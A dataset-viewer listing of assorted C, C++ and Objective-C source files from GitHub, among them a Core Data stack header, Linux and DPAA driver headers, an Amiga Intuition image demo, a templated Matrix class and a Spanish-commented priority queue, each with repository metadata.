Dataset Viewer (First 5GB)
Auto-converted to Parquet Duplicate
seq_id
string
text
string
repo_name
string
sub_path
string
file_name
string
file_ext
string
file_size_in_byte
int64
program_lang
string
lang
string
doc_type
string
stars
int64
dataset
string
pt
string
24273146392
// // DNTCoreDataStack.h // DNTUtilities // // Created by Daniel Thorpe on 06/05/2013. // Copyright (c) 2013 Daniel Thorpe. All rights reserved. // #import <Foundation/Foundation.h> #import <CoreData/CoreData.h> // Exception names extern NSString * const DNTCoreDataStack_FailedToMigrateExceptionName; extern NSString * const DNTCoreDataStack_FailedToCreatePersistentStoreExceptionName; extern NSString * const DNTCoreDataStack_FailedToInitialisePersistentStoreExceptionName; @class DNTCoreDataStack; @protocol DNTCoreDataStackDataSource; @protocol DNTCoreDataStackDelegate; @interface DNTCoreDataStack : NSObject // Core Data store properties, these must be set before the // stack is generated. @property (strong, nonatomic) NSString *storeName; @property (strong, nonatomic) NSString *storeType; // The Core Data stack @property (strong, nonatomic, readonly) NSURL *urlForManagedObjectModel; @property (strong, nonatomic, readonly) NSManagedObjectModel *managedObjectModel; @property (strong, nonatomic, readonly) NSPersistentStoreCoordinator *persistentStoreCoordinator; // Delegate @property (weak, nonatomic) id <DNTCoreDataStackDelegate> delegate; // DataSource @property (weak, nonatomic) id <DNTCoreDataStackDataSource> dataSource; // Save a context + (BOOL)saveContext:(NSManagedObjectContext *)moc andParents:(BOOL)saveParents withError:(NSError **)anError; // Save a context + (BOOL)saveContext:(NSManagedObjectContext *)moc; // Designated initializer - (id)initWithDataSource:(id<DNTCoreDataStackDataSource>)dataSource; // Will create a new managed object context, but without any notifications // so that the calling library can set up it's own notifications - (NSManagedObjectContext *)managedObjectContext; // Virtual methods which can be over-ridden by the subclass // Default implementation does nothing - (void)didAddStoreCoordinator:(NSPersistentStoreCoordinator *)storeCoordinator toContext:(NSManagedObjectContext *)aContext; // Default implementation returns the argument (no-change) - (NSManagedObjectModel *)willUseManagedObjectModel:(NSManagedObjectModel *)model; @end @protocol DNTCoreDataStackDataSource <NSObject> - (NSString *)storeNameForCoreDataStack:(DNTCoreDataStack *)cds; - (NSString *)storeTypeForCoreDataStack:(DNTCoreDataStack *)cds; - (NSURL *)urlForManagedObjectModelForCoreDataStack:(DNTCoreDataStack *)cds; @optional - (BOOL)coreDataStackShouldLookForDefaultStore:(DNTCoreDataStack *)cds; @end @protocol DNTCoreDataStackDelegate <NSObject> @optional - (void)coreDataStack:(DNTCoreDataStack *)stack willCreatePersistentStoreAtPath:(NSString *)storePath; @optional - (void)coreDataStack:(DNTCoreDataStack *)stack willSaveManagedObjectContext:(NSNotification *)aNotificationNote; @optional - (void)coreDataStack:(DNTCoreDataStack *)stack didSaveManagedObjectContext:(NSNotification *)aNotificationNote; @end
danthorpe/DNTUtilities
DNTUtilities/Classes/DNTCoreDataStack.h
DNTCoreDataStack.h
h
2,877
c
en
code
0
github-code
54
29951080092
#ifndef DOOR_SWITCH_H #define DOOR_SWITCH_H #include "light_switch.h" class DoorSwitch : public LightSwitch { public: DoorSwitch(Sprite door, Sprite doorOff, glm::vec4 doorRect, int doorLineIndex, bool on, int switchLineIndex, glm::vec4 switchRect, Sprite onSprite, Sprite offSprite) : LightSwitch(on, switchLineIndex, 4, switchRect, onSprite, offSprite) { this->door = door; this->doorOff = doorOff; this->doorRect = doorRect; this->door.setRect(doorRect); this->doorOff.setRect(doorRect); this->doorOff.setColour(glm::vec4(1.0f, 1.0f, 1.0f, 0.5f)); this->doorLineIndex = doorLineIndex; } void Update(std::vector<LightRay::LightElements> &lightElems, glm::vec4 camRect) override { if(firstUpdate) { firstUpdate = false; for(int i = doorLineIndex; i < doorLineIndex + 4; i++) onElements.push_back(lightElems[i]); } door.Update(camRect); doorOff.Update(camRect); for(int i = doorLineIndex; i < doorLineIndex + 4; i++) { if(!this->on) lightElems[i] = onElements[i - doorLineIndex]; else lightElems[i] = offElem; } LightSwitch::Update(lightElems, camRect); } void Draw(Render* render) override { if(!this->on) door.Draw(render); else doorOff.Draw(render); LightSwitch::Draw(render); } glm::vec4 getDoorRect() { return door.getDrawRect(); } private: Sprite door; Sprite doorOff; glm::vec4 doorRect; int doorLineIndex; bool firstUpdate = true; std::vector<LightRay::LightElements> onElements; LightRay::LightElements offElem = LightRay::LightElements(glm::vec2(0), glm::vec2(0), 0.0f, false); }; #endif
NoamZeise/TrailsOfThePharaoh
src/game/map/elements/door_switch.h
door_switch.h
h
1,680
c
en
code
1
github-code
54
3112667708
/* * TI DaVinci AEMIF support * * Copyright 2010 (C) Texas Instruments, Inc. http://www.ti.com/ * * This file is licensed under the terms of the GNU General Public License * version 2. This program is licensed "as is" without any warranty of any * kind, whether express or implied. */ #ifndef _MACH_DAVINCI_AEMIF_H #define _MACH_DAVINCI_AEMIF_H #include <linux/kernel.h> #include <linux/platform_device.h> #include <linux/mfd/core.h> #define NRCSR_OFFSET 0x00 #define AWCCR_OFFSET 0x04 #define A1CR_OFFSET 0x10 #define ACR_ASIZE_MASK 0x3 #define ACR_EW_MASK BIT(30) #define ACR_SS_MASK BIT(31) enum davinci_emif_cells { DAVINCI_NAND_DEVICE_CELL, DAVINCI_NOR_FLASH_CELL, }; struct davinci_aemif_devices { struct platform_device *devices; unsigned int num_devices; }; /* All timings in nanoseconds */ struct davinci_aemif_timing { u8 wsetup; u8 wstrobe; u8 whold; u8 rsetup; u8 rstrobe; u8 rhold; u8 ta; }; int davinci_aemif_setup_timing(struct davinci_aemif_timing *t, void __iomem *base, unsigned cs); #endif
andreimironenko/linux-davinci
include/linux/mfd/davinci_aemif.h
davinci_aemif.h
h
1,048
c
en
code
1
github-code
54
4799878624
#ifndef __FM_VSP_EXT_H #define __FM_VSP_EXT_H #include "ncsw_ext.h" #include "fm_ext.h" #include "net_ext.h" typedef struct t_fm_vsp_params { t_handle h_fm; /**< A handle to the FM object this VSP related to */ t_fm_ext_pools ext_buf_pools; /**< Which external buffer pools are used (up to * FM_PORT_MAX_NUM_OF_EXT_POOLS), and their sizes. * Parameter associated with Rx / OP port */ uint16_t liodn_offset; /**< VSP's LIODN offset */ struct { e_fm_port_type port_type; /**< Port type */ uint8_t port_id; /**< Port Id - relative to type */ } port_params; uint8_t relative_profile_id; /**< VSP Id - relative to VSP's range defined in * relevant FM object */ } t_fm_vsp_params; typedef struct ioc_fm_vsp_params_t { struct t_fm_vsp_params vsp_params; void *id; /**< return value */ } ioc_fm_vsp_params_t; typedef struct t_fm_port_vspalloc_params { uint8_t num_of_profiles; /**< Number of Virtual Storage Profiles; must be a power of 2 */ uint8_t dflt_relative_id; /**< The default Virtual-Storage-Profile-id dedicated to Rx/OP port. The * same default Virtual-Storage-Profile-id will be for coupled Tx port * if relevant function called for Rx port */ } t_fm_port_vspalloc_params; typedef struct ioc_fm_port_vsp_alloc_params_t { struct t_fm_port_vspalloc_params params; void *p_fm_tx_port; /**< Handle to coupled Tx Port; not relevant for OP port. */ } ioc_fm_port_vsp_alloc_params_t; typedef struct ioc_fm_buffer_prefix_content_t { uint16_t priv_data_size; /**< Number of bytes to be left at the beginning of the external * buffer; Note that the private-area will start from the base * of the buffer address. */ bool pass_prs_result; /**< TRUE to pass the parse result to/from the FM; User * may use fm_port_get_buffer_prs_result() in order to * get the parser-result from a buffer. */ bool pass_time_stamp; /**< TRUE to pass the timeStamp to/from the FM User may * use fm_port_get_buffer_time_stamp() in order to get * the parser-result from a buffer. */ bool pass_hash_result; /**< TRUE to pass the KG hash result to/from the FM User * may use fm_port_get_buffer_hash_result() in order to * get the parser-result from a buffer. */ bool pass_all_other_pcd_info; /**< Add all other Internal-Context information: AD, * hash-result, key, etc. */ uint16_t data_align; /**< 0 to use driver's default alignment [64], * other value for selecting a data alignment (must be a * power of 2); if write optimization is used, must be * >= 16. */ uint8_t manip_extra_space; /**< Maximum extra size needed * (insertion-size minus removal-size); * Note that this field impacts the size of the * buffer-prefix (i.e. it pushes the data offset); * This field is irrelevant if DPAA_VERSION==10 */ } ioc_fm_buffer_prefix_content_t; typedef struct ioc_fm_buffer_prefix_content_params_t { void *p_fm_vsp; ioc_fm_buffer_prefix_content_t fm_buffer_prefix_content; } ioc_fm_buffer_prefix_content_params_t; uint32_t fm_port_vsp_alloc(t_handle h_fm_port, t_fm_port_vspalloc_params *p_params); t_handle fm_vsp_config(t_fm_vsp_params *p_fm_vsp_params); uint32_t fm_vsp_init(t_handle h_fm_vsp); uint32_t fm_vsp_free(t_handle h_fm_vsp); uint32_t fm_vsp_config_buffer_prefix_content(t_handle h_fm_vsp, t_fm_buffer_prefix_content *p_fm_buffer_prefix_content); #define FM_PORT_IOC_VSP_ALLOC \ _IOW(FM_IOC_TYPE_BASE, FM_PORT_IOC_NUM(38), \ ioc_fm_port_vsp_alloc_params_t) #define FM_IOC_VSP_CONFIG \ _IOWR(FM_IOC_TYPE_BASE, FM_IOC_NUM(8), ioc_fm_vsp_params_t) #define FM_IOC_VSP_INIT \ _IOW(FM_IOC_TYPE_BASE, FM_IOC_NUM(9), ioc_fm_obj_t) #define FM_IOC_VSP_FREE \ _IOW(FM_IOC_TYPE_BASE, FM_IOC_NUM(10), ioc_fm_obj_t) #define FM_IOC_VSP_CONFIG_BUFFER_PREFIX_CONTENT \ _IOW(FM_IOC_TYPE_BASE, FM_IOC_NUM(12), \ ioc_fm_buffer_prefix_content_params_t) #endif /* __FM_VSP_EXT_H */
F-Stack/f-stack
dpdk/drivers/net/dpaa/fmlib/fm_vsp_ext.h
fm_vsp_ext.h
h
3,964
c
en
code
3,600
github-code
54
29449556426
;/* compleximage.c - program to show the use of a complex Intuition Image. lc -b1 -cfist -v -y -j73 compleximage.c blink FROM LIB:c.o compleximage.o TO compleximage LIB LIB:lc.lib LIB:amiga.lib quit */ /* Copyright (c) 1992 Commodore-Amiga, Inc. This example is provided in electronic form by Commodore-Amiga, Inc. for use with the "Amiga ROM Kernel Reference Manual: Libraries", 3rd Edition, published by Addison-Wesley (ISBN 0-201-56774-1). The "Amiga ROM Kernel Reference Manual: Libraries" contains additional information on the correct usage of the techniques and operating system functions presented in these examples. The source and executable code of these examples may only be distributed in free electronic form, via bulletin board or as part of a fully non-commercial and freely redistributable diskette. Both the source and executable code (including comments) must be included, without modification, in any copy. This example may not be published in printed form or distributed with any commercial product. However, the programming techniques and support routines set forth in these examples may be used in the development of original executable software products for Commodore Amiga computers. All other rights reserved. This example is provided "as-is" and is subject to change; no warranties are made. All use is at your own risk. No liability or responsibility is assumed. */ #define INTUI_V36_NAMES_ONLY #include <exec/types.h> #include <intuition/intuition.h> #include <intuition/intuitionbase.h> #include <proto/exec.h> #include <proto/dos.h> #include <proto/intuition.h> #include <stdio.h> static const char version[] __attribute__((used)) = "$VER: compleximage 41.1 (14.3.1997)\n"; #ifdef __AROS__ #ifdef __chip #undef __chip #endif #define __chip #include <proto/alib.h> #endif #ifdef LATTICE int CXBRK(void) { return(0); } /* Disable Lattice CTRL/C handling */ int chkabort(void) { return(0); } /* really */ #endif struct IntuitionBase *IntuitionBase = NULL; #define MYIMAGE_LEFT (0) #define MYIMAGE_TOP (0) #define MYIMAGE_WIDTH (24) #define MYIMAGE_HEIGHT (10) #define MYIMAGE_DEPTH (2) /* This is the image data. It is a two bitplane open rectangle which ** is 24 pixels wide and 10 high. Make sure that it is in CHIP memory, ** or allocate a block of chip memory with a call like: ** ** AllocMem(data_size,MEMF_CHIP) ** ** and copy the data to that block. See the Exec chapter on ** Memory Allocation for more information on AllocMem(). */ UBYTE __chip myImageData[] = { /* first bitplane of data, ** open rectangle. */ 0xFF,0xFF, 0xFF,0x00, 0xC0,0x00, 0x03,0x00, 0xC0,0x00, 0x03,0x00, 0xC0,0x00, 0x03,0x00, 0xC0,0x00, 0x03,0x00, 0xC0,0x00, 0x03,0x00, 0xC0,0x00, 0x03,0x00, 0xC0,0x00, 0x03,0x00, 0xC0,0x00, 0x03,0x00, 0xFF,0xFF, 0xFF,0x00, /* second bitplane of data, ** filled rectangle to appear within open rectangle. */ 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x00,0xFF, 0x00,0x00, 0x00,0xFF, 0x00,0x00, 0x00,0xFF, 0x00,0x00, 0x00,0xFF, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, 0x00,0x00, }; /* used to get the "new look" on a custom screen */ UWORD pens[] = { ~0 }; /* ** main routine. Open required library and window and draw the images. ** This routine opens a very simple window with no IDCMP. See the ** chapters on "Windows" and "Input and Output Methods" for more info. ** Free all resources when done. */ int main(int argc, char *argv[]) { struct Screen *scr; struct Window *win; struct Image myImage; BOOL quitme = FALSE; struct IntuiMessage *imsg; IntuitionBase = (struct IntuitionBase *)OpenLibrary("intuition.library",37); if (IntuitionBase != NULL) { if (NULL != (scr = OpenScreenTags(NULL, SA_Depth, 4, SA_Pens, (IPTR) &pens, TAG_END))) { #ifdef __AROS__ if (NULL != (win = OpenWindowTags(NULL, WA_RMBTrap, TRUE, WA_CustomScreen, (IPTR) scr, WA_IDCMP, IDCMP_RAWKEY|IDCMP_CLOSEWINDOW, WA_Activate, TRUE, WA_CloseGadget, TRUE, WA_Width, 200, WA_Height, 200, TAG_END))) #else if (NULL != (win = OpenWindowTags(NULL, WA_RMBTrap, TRUE, WA_CustomScreen, scr, TAG_END))) #endif { myImage.LeftEdge = MYIMAGE_LEFT; myImage.TopEdge = MYIMAGE_TOP; myImage.Width = MYIMAGE_WIDTH; myImage.Height = MYIMAGE_HEIGHT; myImage.Depth = MYIMAGE_DEPTH; myImage.ImageData = (UWORD *)myImageData; myImage.PlanePick = 0x3; /* use first two bitplanes */ myImage.PlaneOnOff = 0x0; /* clear all unused planes */ myImage.NextImage = NULL; /* Draw the image into the first two bitplanes */ DrawImage(win->RPort,&myImage,20,50); /* Draw the same image at a new location */ DrawImage(win->RPort,&myImage,100,50); /* Change the image to use the second and fourth bitplanes, ** PlanePick is 1010 binary or 0xA, ** and draw it again at a different location */ myImage.PlanePick = 0xA; DrawImage(win->RPort,&myImage,20,100); /* Now set all the bits in the first bitplane with PlaneOnOff. ** This will make all the bits set in the second bitplane ** appear as color 3 (0011 binary), all the bits set in the ** fourth bitplane appear as color 9 (1001 binary) and all ** other pixels will be color 1 (0001 binary. If there were ** any points in the image where both bits were set, they ** would appear as color 11 (1011 binary). ** Draw the image at a different location. */ myImage.PlaneOnOff = 0x1; DrawImage(win->RPort,&myImage,100,50); #ifdef __AROS__ while (!quitme) { WaitPort(win->UserPort); while ((imsg = (struct IntuiMessage *)GetMsg(win->UserPort))) { switch (imsg->Class) { case IDCMP_CLOSEWINDOW: quitme = TRUE; break; #if 0 case IDCMP_RAWKEY: // bug or feature? The program immediately exits // when querying for RAWKEY printf("code %d\n", imsg->Code); quitme = TRUE; break; #endif } ReplyMsg((struct Message *)imsg); } } #else /* Wait a bit, then quit. ** In a real application, this would be an event loop, like the ** one described in the Intuition Input and Output Methods chapter. */ Delay(200); #endif CloseWindow(win); } CloseScreen(scr); } CloseLibrary((struct Library *)IntuitionBase); } return 0; }
aros-development-team/AROS
developer/demos/compleximage.c
compleximage.c
c
7,029
c
en
code
332
github-code
54
72386918560
#ifndef MATRIX_H #define MATRIX_H #include<fstream> #include<iostream> #include<vector> #include<algorithm> #include<string> #include<sstream> #include<utility> #include<omp.h> using namespace std; template<class T> class Matrix; template<class T> ostream& operator<< (ostream &out, Matrix<T> & M); /** @class cmp * @brief Simple class for use in order by column */ template<class T> class cmp { int byRow; bool asNumeric; bool ascending; public: cmp(int r, bool n, bool a) : byRow(r), asNumeric(n), ascending(a) {} bool operator()(const vector<T> & v1 , const vector<T> & v2) { switch(asNumeric) { case true: switch(ascending) { case true: return stof(v1[byRow]) < stof(v2[byRow]); break; case false: return stof(v1[byRow]) > stof(v2[byRow]); break; } break; case false: switch(ascending) { case true: return v1[byRow]< v2[byRow]; break; case false: return v1[byRow]> v2[byRow]; break; } break; } } }; /** @class Matrix * @brief Two-dimensional templetized data structure. (y, x) (Rows, Columns). * * Implemented as a vector of vectors of the type T. */ template<class T> class Matrix { public: /** @brief Constructs an empty Matrix. * * Calls the empty constructors for a vector of vectors for the * type T. Sets the columns and rows values to 0. */ Matrix(); /** @brief Constructs a rows by columns Matrix * * Calls the default constructors for vectors of vectors. * of the type T. Sets the columns and rows values accordingly. * @param rows_in The initial number of rows to build. * @param columns_in The initial number of columns to build. */ Matrix(unsigned int rows_in, unsigned int columns_in); /** @brief Constructs a copy of a Matrix. * * @param r A reference to the Matrix being copied. */ Matrix(const Matrix & r); /** @brief Constructs a numerical Matrix from a formatted string. * * Only use this to build numerical (decimal values work) matrices. Input should * be in the form "# # ; # #" where # is a number and ; denotes a new row. * @param num_string The formatted string input. * */ Matrix(string num_string); /** @brief Destructor for a Matrix object * @see clear */ ~Matrix(); /** @brief Clears a Matrix * * Deletes all data in the Matrix and sets t * rows and columns variables to 0. */ void clear(); friend ostream& operator<< <> (ostream &out, Matrix<T> & M); /** @brief Load a Matrix from a file * * The file should be in a csv format with spaces as separators and new lines * denoting a new row. This function can read numbers strings and chars, but * the data type must be constant and it must be a rectangular Matrix. * * First clears the current Matrix then reads the file and sets the size. * @param filename The name and path of the file to load from */ bool loadFromFile(string filename, int rows); /** @brief Adds a single row to the Matrix. * * Increases the row size of the Matrix by one, by adding a row of * size columns default constructed types T. the row is added to the bottom. */ void addRow(); /** @brief Adds a single column to the Matrix. * * Increases the column size of the Matrix by one, by adding a column of * size rows default constructed types T. The column is added to the right. */ void addColumn(); /** @brief Adds a row of specified values to the Matrix. * * Increases the row size of the Matrix by adding values specified by a vector. * The vector must be equal in size to the rows and of the same type T. * @param new_row The vector of type T to add to the Matrix. */ void addRow(vector<T> new_row); /** @brief Adds a column of specified values to the Matrix. * * Increases the column size of the Matrix by adding values specified by a vector. * The vector must be equal in size to the columns and of the same type T. * @param new_row The vector of type T to add to the Matrix. */ void addColumn(vector<T> new_column); void setColumnLabels(vector<string> V); const vector<string> & getColumnLabels()const; /*access*/ Matrix<T> get_sub(unsigned int x1, unsigned int y1, unsigned int x2, unsigned int y2)const; const vector<T> & getRow(unsigned int r)const; vector<T> & getRow(unsigned int r); vector<T> getRow(unsigned int r, vector<int> columns)const; vector<T> getColumn(unsigned int c)const; const T & a(int y, int x)const; T & a(int y, int x); bool replaceRow(int r, const vector<T> & newRow); /*logic and info*/ bool empty()const; int size()const; int dim(bool dim_choice)const; Matrix orderRows(vector<int> v)const; Matrix mat_sort_row()const; Matrix mat_sort_column()const; //void sortByColumn( int column, const cmp & (*foo)(int) ); void sortByColumn(int column, bool asNumeric, bool ascending); //vector<int> sortByColumn(int column, bool asNumeric, bool ascending); bool sortHelper(const vector<T> & v1, const vector<T> & v2/*vector<T>::iterator it1, vector<T>::iterator it2*/); void sortt(int column); /*printing*/ void print()const; void printToFile(ofstream & ofs, string delimiter)const; private: vector<vector<T> > d_; /**< Underlying vector of vectors storage structure for type T. */ unsigned int rows_; /**< Holds the current number of rows in an unsigned int. */ unsigned int columns_; /**< Holds the current number of columns in an unsigned int. */ vector<string> columnLabels_; }; /*IMPLEMENTATION---------------------------------------------------*/ /*begin constructor destructor-------------------------------------------*/ template<class T> Matrix<T>::Matrix() { d_ = vector<vector<T> >(0, vector<T>(0, T())); rows_=0; columns_=0; } template<class T> Matrix<T>::Matrix(unsigned int rows_in, unsigned int columns_in) { //d = vector<vector<T> >(rows_in, vector<T>(columns_in, T())); d_ = vector<vector<T> >(rows_in, vector<T>()); //#pragma omp parallel for for(unsigned int i=0; i<rows_in; i++) d_[i] = vector<T>(columns_in, T()); rows_ = rows_in; columns_ = columns_in; } template<class T> Matrix<T>::Matrix(const Matrix & r) { d_ = vector<vector<T> >(r.rows_, vector<T>()); //#pragma omp parallel for for(unsigned int i=0; i<r.rows_; i++) d_[i] = vector<T>(r.columns_, T()); for(unsigned int x=0; x<d_.size(); x++) for(unsigned int y=0; y<d_[0].size(); y++) d_[x][y] = r.d_[x][y]; rows_ = r.rows_; columns_ = r.columns_; } template<class T> Matrix<T>::Matrix(string num_string) { stringstream ss; ss<<num_string; rows_ = 0; columns_ = 0; string temp_v; vector<T> current_row; while(!ss.eof()) { ss>>temp_v; if(temp_v == ";") { if(!current_row.empty()) addRow(current_row); current_row.clear(); } else { stringstream ss2; ss2<<temp_v; T num; ss2>>num; current_row.push_back(num); } } if(!current_row.empty()) addRow(current_row); } template<class T> Matrix<T>::~Matrix() { clear(); } template<class T> void Matrix<T>::clear() { for(unsigned int i=0; i<d_.size(); i++) d_[i].clear(); d_.clear(); rows_ = 0; columns_ = 0; columnLabels_ = vector<string>(); } /*end constructor destructor---------------------------------------*/ template<class T> ostream& operator<< (ostream &out, Matrix<T> & M) { for(int x=0; x<M.d_.size(); x++) { for(int y=0; y<M.d_[0].size(); y++) { out<<M.d_[x][y]<<'\t'; } out<<endl; } return(out); } /*begin file loading-----------------------------------------------*/ template<class T> bool Matrix<T>::loadFromFile(string filename, int rows) { ifstream FILE(filename.c_str()); if(!FILE.is_open()) { cout<<"FILE NOT OPENED"<<endl; return false; } clear(); //Read all rows if(rows_ == -1) { while(!FILE.eof()) { stringstream ss; vector<T> temp_vec; string temp_line; getline(FILE, temp_line); ss<<temp_line; while(!ss.eof()) { T temp_d; ss>>temp_d; // if(ss.eof()) // break; temp_vec.push_back(temp_d); } // if(FILE.eof()) // return true; addRow(temp_vec); } } else { for(int i=0; i<rows_; ++i) { stringstream ss; vector<T> temp_vec; string temp_line; getline(FILE, temp_line); ss<<temp_line; while(!ss.eof()) { T temp_d; ss>>temp_d; //if(ss.eof()) // break; temp_vec.push_back(temp_d); } if(FILE.eof()) return true; addRow(temp_vec); } } FILE.close(); return true; } /*end file loading-------------------------------------------------*/ /*begin dimension manipulation-------------------------------------*/ template<class T> void Matrix<T>::addRow() { d_.push_back(vector<T>(columns_)); ++rows_; } template<class T> void Matrix<T>::addColumn() { for(unsigned int i=0; i<rows_; i++) d_[i].push_back(T()); ++columns_; } template<class T> void Matrix<T>::addRow(vector<T> new_row) { if(empty()) { columns_ = new_row.size(); rows_ = 1; d_.push_back(vector<T>(new_row.size(), T())); for(unsigned int i=0; i<new_row.size(); i++) d_[0][i]=new_row[i]; } else if(new_row.size() == 0) { return; } else if(new_row.size() != columns_) { cout<<"NEW ROW DIMENSION MISMATCH "<<rows_<<" SIZE "<<new_row.size()<<" TO "<<dim(1)<<endl; return; } else { addRow(); for(unsigned int i=0; i<new_row.size(); i++) d_[rows_-1][i]=new_row[i]; } } template<class T> void Matrix<T>::addColumn(vector<T> new_column) { if(empty()) { rows_ = new_column.size(); columns_ = 1; for(unsigned int i=0; i<new_column.size(); i++) { d_.push_back(vector<T>(1,T())); d_[i][0] = new_column[i]; } } else if(new_column.size() != rows_) { cout<<"NEW COLUMN DIMENSION MISMATCH"<<endl; return; } else { addColumn(); for(unsigned int i=0; i<new_column.size(); i++) d_[i][columns_-1]=new_column[i]; } } /*end dimension manipulation---------------------------------------*/ template<class T> void Matrix<T>::setColumnLabels(vector<string> V) { columnLabels_ = V; } template<class T> const vector<string> & Matrix<T>::getColumnLabels()const { return columnLabels_; } /*begin access-----------------------------------------------------*/ template<class T> Matrix<T> Matrix<T>::get_sub(unsigned int y1, unsigned int y2, unsigned int x1, unsigned int x2)const { int n_r=y2-y1+1; int n_c=x2-x1+1; if(y2>rows_-1 || x2>columns_-1 || y1<0 || x1<0 || n_r<0 || n_c<0) { cout<<"SUB_MATRIX DIMENSIONS INVALID"<<endl; return Matrix<T>(); } Matrix<T> n_m(n_r, n_c); //extract sub Matrix for(unsigned int j=0; j<n_r; j++) { for(unsigned int i=0; i<n_c; i++) { n_m.d_[j][i] = d_[y1+j][x1+i]; } } return n_m; } template<class T> const vector<T> & Matrix<T>::getRow(unsigned int r)const { return d_.at(r); } template<class T> vector<T> & Matrix<T>::getRow(unsigned int r) { return d_[r]; } template<class T> vector<T> Matrix<T>::getRow(unsigned int r, vector<int> columns)const { vector<T> retVal; for(int i=0; i<columns.size(); ++i) retVal.push_back(a(r,columns[i])); return retVal; } template<class T> vector<T> Matrix<T>::getColumn(unsigned int c)const { vector<T> n_m(rows_, T()); for(int i=0; i<rows_; i++) n_m[i]=d_[i][c]; return n_m; } /*end access-------------------------------------------------------*/ /*begin direct manipulation----------------------------------------*/ template<class T> T & Matrix<T>::a(int y, int x) { return d_[y][x]; } template<class T> const T & Matrix<T>::a(int y, int x)const { return d_[y][x]; } /*end direct manipulation------------------------------------------*/ template<class T> bool Matrix<T>::replaceRow(int r, const vector<T> & newRow) { if(newRow.size() != dim(1)) { cout<<"ROW SIZE MISMATCH "<<dim(1)<<" "<<newRow.size()<<endl; return false; } for(int i=0; i<newRow.size(); ++i) a(r, i) = newRow[i]; } /*begin logic and info---------------------------------------------*/ template<class T> bool Matrix<T>::empty()const { if(rows_==0 && columns_==0) return true; else return false; } template<class T> int Matrix<T>::size()const { return columns_*rows_; } template<class T> int Matrix<T>::dim(bool dim_choice)const { if(dim_choice==0) return rows_; else return columns_; } /*end logic and info-----------------------------------------------*/ /*begin math-------------------------------------------------------*/ template<class T> Matrix<T> Matrix<T>::orderRows(vector<int> v)const { Matrix<T> retVal; //cout<<v.size()<<endl; for(int i=0; i<v.size(); ++i) { retVal.addRow((*this).getRow(v[i])); } return retVal; } template<class T> Matrix<T> Matrix<T>::mat_sort_row()const { Matrix<T> n_m(rows_,columns_); for(int i=0; i<rows_; i++) for(int j=0; j<columns_; j++) n_m.d_[i][j]=d_[i][j]; sort(n_m.d_.begin(), n_m.d_.end()); return n_m; } template<class T> Matrix<T> Matrix<T>::mat_sort_column()const { Matrix<T> n_m(rows_,columns_); for(int i=0; i<rows_; i++) for(int j=0; j<columns_; j++) n_m.d_[i][j]=d_[i][j]; n_m.mat_transpose() = n_m.mat_transpose() ; sort(n_m.d_.begin(), n_m.d_.end()); //sort(n_m.d.rbegin(), n_m.d.rend()); //reverse sort n_m.mat_transpose() = n_m.mat_transpose(); return n_m; } /* template<class T> void Matrix<T>::sortByColumn(int column, const cmp & (*foo)(int) ) { cmp<T> c = foo; sort(d.begin(), d.end(), );//cmp<T>(column));//cmp<T>(column)); } */ template<class T> void Matrix<T>::sortByColumn(int column, bool asNumeric, bool ascending) { stable_sort(d_.begin(), d_.end(), cmp<T>(column, asNumeric, ascending));//cmp<T>(column)); } /*end math---------------------------------------------------------*/ /*begin printing---------------------------------------------------*/ template<class T> void Matrix<T>::print()const { for(int x=0; x<d_.size(); x++) { for(int y=0; y<d_[0].size(); y++) { cout<<d_[x][y]<<" "; } cout<<endl; } } template<class T> void Matrix<T>::printToFile(ofstream & ofs , string delimiter)const { for(int x=0; x<d_.size(); x++) { for(int y=0; y<d_[0].size(); y++) { ofs<<d_[x][y]<<delimiter; } ofs<<endl; } } /*end printing-----------------------------------------------------*/ /*begin helpers----------------------------------------------------*/ /*end helpers------------------------------------------------------*/ #endif // Matrix_H
gizemcaylak/Potpourri
cpp/src/cpp/ET/Matrix.h
Matrix.h
h
17,591
c
en
code
1
github-code
54
27780478680
#ifndef COLA_P #define COLA_P #include <string> #include <iostream> using namespace std; struct nodo { string info; int prioridad; }; class colaPrioritaria { private: int tam; int indice; int i; nodo inser; nodo *arreglo; public: //inicializando colaPrioritaria (int tama){ tam=tama; arreglo = new nodo [tam]; indice=1; //indice en 1 ya que posicion 0 no se usa //se inicializa todo el arreglo for(i=0;i<tam;i++){ arreglo[i].info = ""; arreglo[i].prioridad = 0; } arreglo[0].info=""; arreglo[0].prioridad=0; } bool colavacia (){ if (indice==1){ return true; } else { return false; } } bool colallena(){ if (indice>=tam){ return true; } else{ return false; } } void insertar (string datoinfo, int datoprior){ //creando un nodo con la info dada nodo actual; actual.info= datoinfo; actual.prioridad=datoprior; i = indice; //caso lista vacia if(colavacia()){ arreglo[i]=actual; } //va revisando si tiene padre while (i/2!=0){ int j = i/2;// se ubica en el padre nodo aux = arreglo [j];//guarda la informacion del padre if(aux.prioridad<actual.prioridad){//compara prioridad //intercambio posiciones arreglo[i]=aux; arreglo[j]=actual; } //si ya no tiene mayor prioridad, posiciona y se detiene else { arreglo[i]=actual; break; } i=j; } indice++; } nodo atender(){ nodo derecho,izquierdo,aux = arreglo[--indice],atendido = arreglo[1]; arreglo[indice].info = ""; arreglo[indice].prioridad = 0; i = 1; while(2*i<=(indice-1)){ //mientras el nodo tenga al menos un hijo izquierdo = arreglo[2*i]; derecho = arreglo[2*i+1]; if(izquierdo.prioridad>derecho.prioridad){ arreglo[i].info = izquierdo.info; arreglo[i].prioridad = izquierdo.prioridad; i = i*2; } else{ arreglo[i].info = derecho.info; arreglo[i].prioridad = derecho.prioridad; i = i*2+1; } } arreglo[i].info = aux.info; arreglo[i].prioridad = aux.prioridad; return atendido; } //funcion unicamente para revisar como se encuentra el arreglo hasta el momento void revisar () { cout<<"INFORMACI0N\tPRIORIDAD"<<endl; for(i=1; i<indice; i++){ cout<< arreglo[i].info<<"\t"; cout<<arreglo[i].prioridad<<endl; } } }; #endif
isa9906/proyecto-listas
Colas/colaPrioritaria.h
colaPrioritaria.h
h
2,534
c
es
code
0
github-code
54
32699471991
#include <stdio.h> #include "shm.h" int main() { int shmid; char *shmadd; key_t key; key=ftok(".",'a'); shmid=shm_get(key); shmadd=shm_at(shmid); shm_dt(shmadd); shm_ctl(shmid); return 0; }
wilsonfly/test_module
origin_c/naive_code/process/shm_no2/main.c
main.c
c
216
c
en
code
1
github-code
54
18684507367
